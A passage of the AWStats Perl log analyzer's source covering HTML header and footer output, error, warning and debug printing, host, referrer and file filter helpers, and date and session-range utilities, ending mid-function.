801 $periodtitle .= ( $DayRequired ne '' ? "-$DayRequired" : "" ); 802 $periodtitle .= ( $HourRequired ne '' ? "-$HourRequired" : "" ); 803 $periodtitle .= ")"; 804 805 # Write head section 806 if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { 807 if ($PageCode) { 808 print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n"; 809 } 810 else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; } 811 if ( $FrameName ne 'index' ) { 812 print 813"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n"; 814 } 815 else { 816 print 817"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n"; 818 } 819 print 820"<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n"; 821 } 822 else { 823 if ( $FrameName ne 'index' ) { 824 print 825"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n"; 826 } 827 else { 828 print 829"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\" \"http://www.w3.org/TR/html4/frameset.dtd\">\n"; 830 } 831 print '<html lang="' . $Lang . '"' 832 . ( $PageDir ? ' dir="rtl"' : '' ) . ">\n"; 833 } 834 print "<head>\n"; 835 836 my $endtag = '>'; 837 if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { 838 $endtag = ' />'; 839 } 840 841 # Affiche tag meta generator 842 print 843"<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://www.awstats.org)\"$endtag\n"; 844 845 # Affiche tag meta robots 846 if ($MetaRobot) { 847 print "<meta name=\"robots\" content=\"" 848 . ( $FrameName eq 'mainleft' ? 'no' : '' ) 849 . "index," 850 . ( $FrameName eq 'mainleft' 851 || $FrameName eq 'index' ? '' : 'no' ) 852 . "follow\"$endtag\n"; 853 } 854 else { 855 print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n"; 856 } 857 858 # Affiche tag meta content-type 859 if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) { 860 print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i 861 ? "<meta http-equiv=\"content-type\" content=\"text/html; charset=" 862 . ( $PageCode ? $PageCode : "iso-8859-1" ) 863 . "\" />\n" 864 : "<meta http-equiv=\"content-type\" content=\"text/xml; charset=" 865 . ( $PageCode ? $PageCode : "iso-8859-1" ) 866 . "\"$endtag\n" 867 ); 868 } 869 else { 870 print 871 "<meta http-equiv=\"content-type\" content=\"text/html; charset=" 872 . ( $PageCode ? $PageCode : "iso-8859-1" ) 873 . "\"$endtag\n"; 874 } 875 876 if ($Expires) { 877 print "<meta http-equiv=\"expires\" content=\"" 878 . ( gmtime( $starttime + $Expires ) ) 879 . "\"$endtag\n"; 880 } 881 my @k = keys 882 %HTMLOutput; # This is to have a unique title and description page 883 print "<meta http-equiv=\"description\" content=\"" 884 . ucfirst($PROG) 885 . " - Advanced Web Statistics for $SiteDomain$periodtitle" 886 . ( $k[0] ? " - " . $k[0] : "" ) 887 . "\"$endtag\n"; 888 if ( $MetaRobot && $FrameName ne 'mainleft' ) { 889 print 890"<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n"; 891 } 892 print "<title>$Message[7] $SiteDomain$periodtitle" 893 . ( $k[0] ? " - " . $k[0] : "" ) 894 . "</title>\n"; 895 if ( $FrameName ne 'index' ) { 896 897 if ($StyleSheet) { 898 print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n"; 899 } 900 901# A STYLE section must be in head section. Do not use " for number in a style section 902 print "<style type=\"text/css\">\n"; 903 904 if ( !$StyleSheet ) { 905 print 906"body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n"; 907 print ".aws_bodyl { }\n"; 908 print 909".aws_border { border-collapse: collapse; background-color: #$color_TableBG; padding: 1px 1px " 910 . ( $BuildReportFormat eq 'xhtml' 911 || $BuildReportFormat eq 'xml' ? "2px" : "1px" ) 912 . " 1px; margin-top: 0px; margin-bottom: 0px; }\n"; 913 print 914".aws_title { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n"; 915 print 916".aws_blank { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n"; 917 print <<EOF; 918.aws_data { 919 background-color: #$color_Background; 920 border-top-width: 1px; 921 border-left-width: 0px; 922 border-right-width: 0px; 923 border-bottom-width: 0px; 924} 925.aws_formfield { font: 13px verdana, arial, helvetica; } 926.aws_button { 927 font-family: arial,verdana,helvetica, sans-serif; 928 font-size: 12px; 929 border: 1px solid #ccd7e0; 930 background-image : url($DirIcons/other/button.gif); 931} 932th { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; } 933th.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; } 934td { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; } 935td.aws { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;} 936td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; } 937b { font-weight: bold; } 938a { font: 11px verdana, arial, helvetica, sans-serif; } 939a:link { color: #$color_link; text-decoration: none; } 940a:visited { color: #$color_link; text-decoration: none; } 941a:hover { color: #$color_hover; text-decoration: underline; } 942.currentday { font-weight: bold; } 943EOF 944 } 945 946 # Call to plugins' function AddHTMLStyles 947 foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLStyles'} } ) 948 { 949 my $function = "AddHTMLStyles_$pluginname"; 950 &$function(); 951 } 952 953 print "</style>\n"; 954 } 955 956# les scripts necessaires pour trier avec Tablekit 957# print "<script type=\"text\/javascript\" src=\"/js/prototype.js\"><\/script>"; 958# print "<script type=\"text\/javascript\" src=\"/js/fabtabulous.js\"><\/script>"; 959# print "<script type=\"text\/javascript\" src=\"/js/mytablekit.js\"><\/script>"; 960 961 # Call to plugins' function AddHTMLHeader 962 foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLHeader'} } ) 963 { 964 my $function = "AddHTMLHeader_$pluginname"; 965 &$function(); 966 } 967 968 print "</head>\n\n"; 969 if ( $FrameName ne 'index' ) { 970 print "<body style=\"margin-top: 0px\""; 971 if ( $FrameName eq 'mainleft' ) { print " class=\"aws_bodyl\""; } 972 print ">\n"; 973 } 974 } 975 $HeaderHTMLSent++; 976} 977 978#------------------------------------------------------------------------------ 979# Function: Write on output end of HTML page 980# Parameters: 0|1 (0=no list plugins,1=list plugins) 981# Input: %HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat 982# Output: None 983# Return: None 984#------------------------------------------------------------------------------ 985sub html_end { 986 my $listplugins = shift || 0; 987 if ( scalar keys %HTMLOutput ) { 988 989 # Call to plugins' function AddHTMLBodyFooter 990 foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyFooter'} } ) 991 { 992 993 # my $function="AddHTMLBodyFooter_$pluginname()"; 994 # eval("$function"); 995 my $function = "AddHTMLBodyFooter_$pluginname"; 996 &$function(); 997 } 998 999 if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) { 1000 print "$Center<br /><br />\n"; 1001 print 1002"<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">"; 1003 print 1004"<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://www.awstats.org\" target=\"awstatshome\">"; 1005 print $Message[169] . " $PROG"; 1006 if ($listplugins) { 1007 my $atleastoneplugin = 0; 1008 foreach my $pluginname ( keys %{ $PluginsLoaded{'init'} } ) { 1009 if ( !$atleastoneplugin ) { 1010 $atleastoneplugin = 1; 1011 print " ($Message[170]: "; 1012 } 1013 else { print ", "; } 1014 print "$pluginname"; 1015 } 1016 if ($atleastoneplugin) { print ")"; } 1017 } 1018 print "</a></span><br />\n"; 1019 if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; } 1020 } 1021 print "\n"; 1022 if ( $FrameName ne 'index' ) { 1023 if ( $FrameName ne 'mainleft' && $BuildReportFormat eq 'html' ) { 1024 print "<br />\n"; 1025 } 1026 print "</body>\n"; 1027 } 1028 print "</html>\n"; 1029 1030 # print "<!-- NEW PAGE --><!-- NEW SHEET -->\n"; 1031 } 1032} 1033 1034#------------------------------------------------------------------------------ 1035# Function: Print on stdout tab header of a chart 1036# Parameters: $title $tooltipnb [$width percentage of chart title] 1037# Input: None 1038# Output: None 1039# Return: None 1040#------------------------------------------------------------------------------ 1041sub tab_head { 1042 my $title = shift; 1043 my $tooltipnb = shift; 1044 my $width = shift || 70; 1045 my $class = shift; 1046 1047 # Call to plugins' function TabHeadHTML 1048 my $extra_head_html = ''; 1049 foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) { 1050 my $function = "TabHeadHTML_$pluginname"; 1051 $extra_head_html .= &$function($title); 1052 } 1053 1054 if ( $width == 70 && $QueryString =~ /buildpdf/i ) { 1055 print 1056"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n"; 1057 } 1058 else { 1059 print 1060"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; 1061 } 1062 1063 if ($tooltipnb) { 1064 print "<tr><td class=\"aws_title\" width=\"$width%\"" 1065 . Tooltip( $tooltipnb, $tooltipnb ) 1066 . ">$title " 1067 . $extra_head_html . "</td>"; 1068 } 1069 else { 1070 print "<tr><td class=\"aws_title\" width=\"$width%\">$title " 1071 . $extra_head_html . "</td>"; 1072 } 1073 print "<td class=\"aws_blank\"> </td></tr>\n"; 1074 print "<tr><td colspan=\"2\">\n"; 1075 if ( $width == 70 && $QueryString =~ /buildpdf/i ) { 1076 print 1077"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n"; 1078 } 1079 else { 1080 print 1081"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; 1082 } 1083} 1084 1085#------------------------------------------------------------------------------ 1086# Function: Print on stdout tab ender of a chart 1087# Parameters: None 1088# Input: None 1089# Output: None 1090# Return: None 1091#------------------------------------------------------------------------------ 1092sub tab_end { 1093 my $string = shift; 1094 print "</table></td></tr></table>"; 1095 if ($string) { 1096 print 1097"<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n"; 1098 } 1099 print "<br />\n\n"; 1100} 1101 1102#------------------------------------------------------------------------------ 1103# Function: Write error message and exit 1104# Parameters: $message $secondmessage $thirdmessage $donotshowsetupinfo 1105# Input: $HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat 1106# Output: None 1107# Return: None 1108#------------------------------------------------------------------------------ 1109sub error { 1110 my $message = shift || ''; 1111 if ( scalar keys %HTMLOutput ) { 1112 $message =~ s/\</</g; 1113 $message =~ s/\>/>/g; 1114 } 1115 my $secondmessage = shift || ''; 1116 my $thirdmessage = shift || ''; 1117 my $donotshowsetupinfo = shift || 0; 1118 1119 if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); } 1120 if ( !$HeaderHTMLSent && scalar keys %HTMLOutput ) { 1121 print "<html><body>\n"; 1122 $HeaderHTMLSent = 1; 1123 } 1124 if ($Debug) { debug( "$message $secondmessage $thirdmessage", 1 ); } 1125 my $tagbold = ''; 1126 my $tagunbold = ''; 1127 my $tagbr = ''; 1128 my $tagfontred = ''; 1129 my $tagfontgrey = ''; 1130 my $tagunfont = ''; 1131 if ( scalar keys %HTMLOutput ) { 1132 $tagbold = '<b>'; 1133 $tagunbold = '</b>'; 1134 $tagbr = '<br />'; 1135 $tagfontred = '<span style="color: #880000">'; 1136 $tagfontgrey = '<span style="color: #888888">'; 1137 $tagunfont = '</span>'; 1138 } 1139 if ( !$ErrorMessages && $message =~ /^Format error$/i ) { 1140 1141 # Files seems to have bad format 1142 if ( scalar keys %HTMLOutput ) { print "<br /><br />\n"; } 1143 if ( $message !~ $LogSeparator ) { 1144 1145 # Bad LogSeparator parameter 1146 print 1147"${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n"; 1148 } 1149 else { 1150 1151 # Bad LogFormat parameter 1152 print 1153"AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n"; 1154 print 1155"${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n"; 1156 print 1157 "Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n"; 1158 print "${tagbold}$LogFormat${tagunbold}${tagbr}\n"; 1159 print 1160 "This means each line in your web server log file need to have "; 1161 if ( $LogFormat == 1 ) { 1162 print 1163"${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n"; 1164 print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); 1165 print 1166"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n"; 1167 print( 1168 scalar keys %HTMLOutput 1169 ? "</i>$tagunfont${tagbr}${tagbr}\n" 1170 : "" 1171 ); 1172 } 1173 if ( $LogFormat == 2 ) { 1174 print 1175"${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n"; 1176 print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); 1177 print 1178"date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n"; 1179 print( 1180 scalar keys %HTMLOutput 1181 ? "</i>$tagunfont${tagbr}${tagbr}\n" 1182 : "" 1183 ); 1184 } 1185 if ( $LogFormat == 3 ) { 1186 print 1187"${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n"; 1188 } 1189 if ( $LogFormat == 4 ) { 1190 print 1191"${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n"; 1192 print( scalar keys %HTMLOutput ? "$tagfontgrey<i><pre>" : "" ); 1193 print 1194"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n"; 1195 print( 1196 scalar keys %HTMLOutput 1197 ? "</pre></i>$tagunfont${tagbr}${tagbr}\n" 1198 : "" 1199 ); 1200 } 1201 if ( $LogFormat == 6 ) { 1202 print 1203"${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n"; 1204 print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); 1205 print 1206"111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n"; 1207 print( 1208 scalar keys %HTMLOutput 1209 ? "</i></span>${tagbr}${tagbr}\n" 1210 : "" 1211 ); 1212 } 1213 if ( $LogFormat !~ /^[1-6]$/ ) { 1214 print "the following personalized log format:${tagbr}\n"; 1215 print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" ); 1216 print "$LogFormat\n"; 1217 print( 1218 scalar keys %HTMLOutput 1219 ? "</i>$tagunfont${tagbr}${tagbr}\n" 1220 : "" 1221 ); 1222 } 1223 print 1224"And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n"; 1225 print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" ); 1226 print "$secondmessage"; 1227 print( 1228 scalar keys %HTMLOutput 1229 ? "</i>$tagunfont${tagbr}${tagbr}" 1230 : "" 1231 ); 1232 print "\n"; 1233 } 1234 1235#print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of "; 1236#print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n"; 1237#print "\n"; 1238 } 1239 else { 1240 print( scalar keys %HTMLOutput ? "<br />$tagfontred\n" : "" ); 1241 print( $ErrorMessages? "$ErrorMessages" : "Error: $message" ); 1242 print( scalar keys %HTMLOutput ? "\n</span><br />" : "" ); 1243 print "\n"; 1244 } 1245 if ( !$ErrorMessages && !$donotshowsetupinfo ) { 1246 if ( $message =~ /Couldn.t open config file/i ) { 1247 my $dir = $DIR; 1248 if ( $dir =~ /^\./ ) { $dir .= '/../..'; } 1249 else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; } 1250 print "${tagbr}\n"; 1251 if ( $ENV{'GATEWAY_INTERFACE'} ) { 1252 print 1253"- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n"; 1254 print 1255"Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n"; 1256 print 1257"Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n"; 1258 } 1259 else { 1260 print 1261"- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n"; 1262 print 1263"Example: If your config file is awstats.mysite.conf, use -config=mysite\n"; 1264 } 1265 print 1266"- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n"; 1267 print 1268"If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n"; 1269 print "${tagbr}\n"; 1270 } 1271 else { 1272 print "${tagbr}${tagbold}Setup (" 1273 . ( $FileConfig ? "'" . $FileConfig . "'" : "Config" ) 1274 . " file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n"; 1275 } 1276 print 1277"Check config file, permissions and AWStats documentation (in 'docs' directory).\n"; 1278 } 1279 1280 # Remove lock if not a lock message 1281 if ( $EnableLockForUpdate && $message !~ /lock file/ ) { &Lock_Update(0); } 1282 if ( scalar keys %HTMLOutput ) { print "</body></html>\n"; } 1283 exit 1; 1284} 1285 1286#------------------------------------------------------------------------------ 1287# Function: Write a warning message 1288# Parameters: $message 1289# Input: $HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput 1290# Output: None 1291# Return: None 1292#------------------------------------------------------------------------------ 1293sub warning { 1294 my $messagestring = shift; 1295 1296 if ($Debug) { debug( "$messagestring", 1 ); } 1297 if ($WarningMessages) { 1298 if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); } 1299 if ( !$HeaderHTMLSent ) { html_head(); } 1300 if ( scalar keys %HTMLOutput ) { 1301 $messagestring =~ s/\n/\<br\>/g; 1302 print "$messagestring<br />\n"; 1303 } 1304 else { 1305 print "$messagestring\n"; 1306 } 1307 } 1308} 1309 1310#------------------------------------------------------------------------------ 1311# Function: Write debug message and exit 1312# Parameters: $string $level 1313# Input: %HTMLOutput $Debug=required level $DEBUGFORCED=required level forced 1314# Output: None 1315# Return: None 1316#------------------------------------------------------------------------------ 1317sub debug { 1318 my $level = $_[1] || 1; 1319 1320 if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { 1321 http_head(); 1322 } # To send the HTTP header and see debug 1323 if ( $level <= $DEBUGFORCED ) { 1324 my $debugstring = $_[0]; 1325 if ( !$DebugResetDone ) { 1326 open( DEBUGFORCEDFILE, "<debug.log" ); 1327 close DEBUGFORCEDFILE; 1328 chmod 0666, "debug.log"; 1329 $DebugResetDone = 1; 1330 } 1331 open( DEBUGFORCEDFILE, ">>debug.log" ); 1332 print DEBUGFORCEDFILE localtime(time) 1333 . " - $$ - DEBUG $level - $debugstring\n"; 1334 close DEBUGFORCEDFILE; 1335 } 1336 if ( $DebugMessages && $level <= $Debug ) { 1337 my $debugstring = $_[0]; 1338 if ( scalar keys %HTMLOutput ) { 1339 $debugstring =~ s/^ / /; 1340 $debugstring .= "<br />"; 1341 } 1342 print localtime(time) . " - DEBUG $level - $debugstring\n"; 1343 } 1344} 1345 1346#------------------------------------------------------------------------------ 1347# Function: Optimize an array of precompiled regex by removing duplicate entries 1348# Parameters: @Array notcasesensitive=0|1 1349# Input: None 1350# Output: None 1351# Return: None 1352#------------------------------------------------------------------------------ 1353sub OptimizeArray { 1354 my ( $array, $notcasesensitive ) = @_; 1355 my %seen; 1356 1357 if ($notcasesensitive) { 1358 1359 # Case insensitive 1360 my $uncompiled_regex; 1361 return map { 1362 $uncompiled_regex = UnCompileRegex($_); 1363 !$seen{ lc $uncompiled_regex }++ ? qr/$uncompiled_regex/i : () 1364 } @$array; 1365 } 1366 1367 # Case sensitive 1368 return map { !$seen{$_}++ ? $_ : () } @$array; 1369} 1370 1371#------------------------------------------------------------------------------ 1372# Function: Check if parameter is in SkipDNSLookupFor array 1373# Parameters: ip @SkipDNSLookupFor (a NOT case sensitive precompiled regex array) 1374# Return: 0 Not found, 1 Found 1375#------------------------------------------------------------------------------ 1376sub SkipDNSLookup { 1377 foreach (@SkipDNSLookupFor) { 1378 if ( $_[0] =~ /$_/ ) { return 1; } 1379 } 1380 0; # Not in @SkipDNSLookupFor 1381} 1382 1383#------------------------------------------------------------------------------ 1384# Function: Check if parameter is in SkipHosts array 1385# Parameters: host @SkipHosts (a NOT case sensitive precompiled regex array) 1386# Return: 0 Not found, 1 Found 1387#------------------------------------------------------------------------------ 1388sub SkipHost { 1389 foreach (@SkipHosts) { 1390 if ( $_[0] =~ /$_/ ) { return 1; } 1391 } 1392 0; # Not in @SkipHosts 1393} 1394 1395#------------------------------------------------------------------------------ 1396# Function: Check if parameter is in SkipReferrers array 1397# Parameters: host @SkipReferrers (a NOT case sensitive precompiled regex array) 1398# Return: 0 Not found, 1 Found 1399#------------------------------------------------------------------------------ 1400sub SkipReferrer { 1401 foreach (@SkipReferrers) { 1402 if ( $_[0] =~ /$_/ ) { return 1; } 1403 } 1404 0; # Not in @SkipReferrers 1405} 1406 1407#------------------------------------------------------------------------------ 1408# Function: Check if parameter is in SkipUserAgents array 1409# Parameters: useragent @SkipUserAgents (a NOT case sensitive precompiled regex array) 1410# Return: 0 Not found, 1 Found 1411#------------------------------------------------------------------------------ 1412sub SkipUserAgent { 1413 foreach (@SkipUserAgents) { 1414 if ( $_[0] =~ /$_/ ) { return 1; } 1415 } 1416 0; # Not in @SkipUserAgent 1417} 1418 1419#------------------------------------------------------------------------------ 1420# Function: Check if parameter is in SkipFiles array 1421# Parameters: url @SkipFiles (a NOT case sensitive precompiled regex array) 1422# Return: 0 Not found, 1 Found 1423#------------------------------------------------------------------------------ 1424sub SkipFile { 1425 foreach (@SkipFiles) { 1426 if ( $_[0] =~ /$_/ ) { return 1; } 1427 } 1428 0; # Not in @SkipFiles 1429} 1430 1431#------------------------------------------------------------------------------ 1432# Function: Check if parameter is in OnlyHosts array 1433# Parameters: host @OnlyHosts (a NOT case sensitive precompiled regex array) 1434# Return: 0 Not found, 1 Found 1435#------------------------------------------------------------------------------ 1436sub OnlyHost { 1437 foreach (@OnlyHosts) { 1438 if ( $_[0] =~ /$_/ ) { return 1; } 1439 } 1440 0; # Not in @OnlyHosts 1441} 1442 1443#------------------------------------------------------------------------------ 1444# Function: Check if parameter is in OnlyUsers array 1445# Parameters: host @OnlyUsers (a NOT case sensitive precompiled regex array) 1446# Return: 0 Not found, 1 Found 1447#------------------------------------------------------------------------------ 1448sub OnlyUser { 1449 foreach (@OnlyUsers) { 1450 if ( $_[0] =~ /$_/ ) { return 1; } 1451 } 1452 0; # Not in @OnlyUsers 1453} 1454 1455#------------------------------------------------------------------------------ 1456# Function: Check if parameter is in OnlyUserAgents array 1457# Parameters: useragent @OnlyUserAgents (a NOT case sensitive precompiled regex array) 1458# Return: 0 Not found, 1 Found 1459#------------------------------------------------------------------------------ 1460sub OnlyUserAgent { 1461 foreach (@OnlyUserAgents) { 1462 if ( $_[0] =~ /$_/ ) { return 1; } 1463 } 1464 0; # Not in @OnlyUserAgents 1465} 1466 1467#------------------------------------------------------------------------------ 1468# Function: Check if parameter is in NotPageFiles array 1469# Parameters: url @NotPageFiles (a NOT case sensitive precompiled regex array) 1470# Return: 0 Not found, 1 Found 1471#------------------------------------------------------------------------------ 1472sub NotPageFile { 1473 foreach (@NotPageFiles) { 1474 if ( $_[0] =~ /$_/ ) { return 1; } 1475 } 1476 0; # Not in @NotPageFiles 1477} 1478 1479#------------------------------------------------------------------------------ 1480# Function: Check if parameter is in OnlyFiles array 1481# Parameters: url @OnlyFiles (a NOT case sensitive precompiled regex array) 1482# Return: 0 Not found, 1 Found 1483#------------------------------------------------------------------------------ 1484sub OnlyFile { 1485 foreach (@OnlyFiles) { 1486 if ( $_[0] =~ /$_/ ) { return 1; } 1487 } 1488 0; # Not in @OnlyFiles 1489} 1490 1491#------------------------------------------------------------------------------ 1492# Function: Return day of week of a day 1493# Parameters: $day $month $year 1494# Return: 0-6 1495#------------------------------------------------------------------------------ 1496sub DayOfWeek { 1497 my ( $day, $month, $year ) = @_; 1498 if ($Debug) { debug( "DayOfWeek for $day $month $year", 4 ); } 1499 if ( $month < 3 ) { $month += 10; $year--; } 1500 else { $month -= 2; } 1501 my $cent = sprintf( "%1i", ( $year / 100 ) ); 1502 my $y = ( $year % 100 ); 1503 my $dw = ( 1504 sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y + 1505 sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) - 1506 ( 2 * $cent ) ) % 7; 1507 $dw += 7 if ( $dw < 0 ); 1508 if ($Debug) { debug( " is $dw", 4 ); } 1509 return $dw; 1510} 1511 1512#------------------------------------------------------------------------------ 1513# Function: Return 1 if a date exists 1514# Parameters: $day $month $year 1515# Return: 1 if date exists else 0 1516#------------------------------------------------------------------------------ 1517sub DateIsValid { 1518 my ( $day, $month, $year ) = @_; 1519 if ($Debug) { debug( "DateIsValid for $day $month $year", 4 ); } 1520 if ( $day < 1 ) { return 0; } 1521 if ( $day > 31 ) { return 0; } 1522 if ( $month == 4 || $month == 6 || $month == 9 || $month == 11 ) { 1523 if ( $day > 30 ) { return 0; } 1524 } 1525 elsif ( $month == 2 ) { 1526 my $leapyear = ( $year % 4 == 0 ? 1 : 0 ); # A leap year every 4 years 1527 if ( $year % 100 == 0 && $year % 400 != 0 ) { 1528 $leapyear = 0; 1529 } # Except if year is 100x and not 400x 1530 if ( $day > ( 28 + $leapyear ) ) { return 0; } 1531 } 1532 return 1; 1533} 1534 1535#------------------------------------------------------------------------------ 1536# Function: Return string of visit duration 1537# Parameters: $starttime $endtime 1538# Input: None 1539# Output: None 1540# Return: A string from $SessionsRange[0..6] that identify the visit duration range 1541#------------------------------------------------------------------------------ 1542sub GetSessionRange { 1543 my $param1=shift; 1544 my $param2=shift; 1545 1546 # skip unneeded calculations if its the same 1547 if ($param1 == $param2) { return $SessionsRange[0]; } 1548 1549 my $starttime; 1550 my $endtime; 1551 1552 eval { 1553 #safety to prevent Time::Local causing termination on invalid data 1554 #Ex: Second '84' out of range 0..59 at /xxx/awstats.pl 1555 if ($param1 =~ /$regdate/o) { $starttime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); } 1556 if ($param2 =~ /$regdate/o) { $endtime = Time::Local::timelocal($6,$5,$4,$3,$2-1,$1); } 1557 }; 1558 1559 my $delay = $endtime - $starttime; 1560 if ($Debug) { 1561 debug( "GetSessionRange $endtime - $starttime = $delay", 4 ); 1562 } 1563 if ( $delay <= 30 ) { return $SessionsRange[0]; } 1564 if ( $delay <= 120 ) { return $SessionsRange[1]; } 1565 if ( $delay <= 300 ) { return $SessionsRange[2]; } 1566 if ( $delay <= 900 ) { return $SessionsRange[3]; } 1567 if ( $delay <= 1800 ) { return $SessionsRange[4]; } 1568 if ( $delay <= 3600 ) { return $SessionsRange[5]; } 1569 return $SessionsRange[6]; 1570} 1571 1572#------------------------------------------------------------------------------ 1573# Function: Return string with just the extension of a file in the URL 1574# Parameters: $regext, $url without query string 1575# Input: None 1576# Output: None 1577# Return: A lowercase string with the name of the extension, e.g. "html" 1578#------------------------------------------------------------------------------ 1579sub Get_Extension{ 1580 my $extension; 1581 my $regext = shift; 1582 my $urlwithnoquery = shift; 1583 if ( $urlwithnoquery =~ /$regext/o 1584 || ( $urlwithnoquery =~ /[\\\/]$/ && $DefaultFile[0] =~ /$regext/o ) 1585 ) 1586 { 1587 $extension = 1588 ( $LevelForFileTypesDetection >= 2 || $MimeHashLib{$1} 